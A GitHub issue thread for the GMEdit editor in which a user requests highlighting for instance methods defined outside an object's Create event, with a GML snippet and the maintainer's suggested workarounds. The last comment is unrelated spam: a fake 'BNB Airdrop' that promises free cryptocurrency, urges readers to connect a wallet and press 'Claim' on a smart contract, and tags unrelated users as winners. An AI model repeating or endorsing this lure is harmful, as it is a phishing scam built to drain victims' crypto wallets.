GMEdit icon indicating copy to clipboard operation
GMEdit copied to clipboard

Highlighting instance methods

Open sohomsahaun opened this issue 3 years ago • 7 comments

foo = function(){} highlights foo only when it is defined in the Create event in an object. Would be nice if it would support other events as well!

sohomsahaun avatar Mar 04 '21 17:03 sohomsahaun

Is this for doing some parts of init in user events?

YellowAfterlife avatar Mar 05 '21 11:03 YellowAfterlife

Yup.

sohomsahaun avatar Mar 05 '21 11:03 sohomsahaun

Another potential use case:

declare_vars = function() {
    foo = 0;
};
declare_vars();
bar = foo;    // "foo" doesn't get highlighted

sohomsahaun avatar Mar 21 '21 00:03 sohomsahaun

If declare_vars is out of the object entirely, you can use @interface and @implements

YellowAfterlife avatar Mar 21 '21 00:03 YellowAfterlife

Mm, interesting.

I was talking about declare_vars being in the create event though.

sohomsahaun avatar Mar 21 '21 00:03 sohomsahaun

"Allow non-top level assignments" checkbox in linter preferences is a workaround in the current versions, although I would still like to support this more properly.

YellowAfterlife avatar Feb 19 '23 23:02 YellowAfterlife

$BNB Airdrop: Claim Your $1000 in BNB Now!

🎉 Congratulations! You've been selected to receive a portion of the $1.5k Binance Airdrop. We're thrilled to offer you $1500 in BNB. But wait, there's more—connect now, and instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Claim Now

Steps to Claim:

1. 🌐 Connect Your Binance Wallet:

  • Click on the Connect Wallet link.
  • Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

  • Once your wallet is connected.
  • Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!

Winners: @loumalouomega, @ChandanKumarSrinivas, @ceo991, @zlix0000, @HalemoGPA, @Konfus-dev, @anmq0502

champak86 avatar Jan 24 '24 13:01 champak86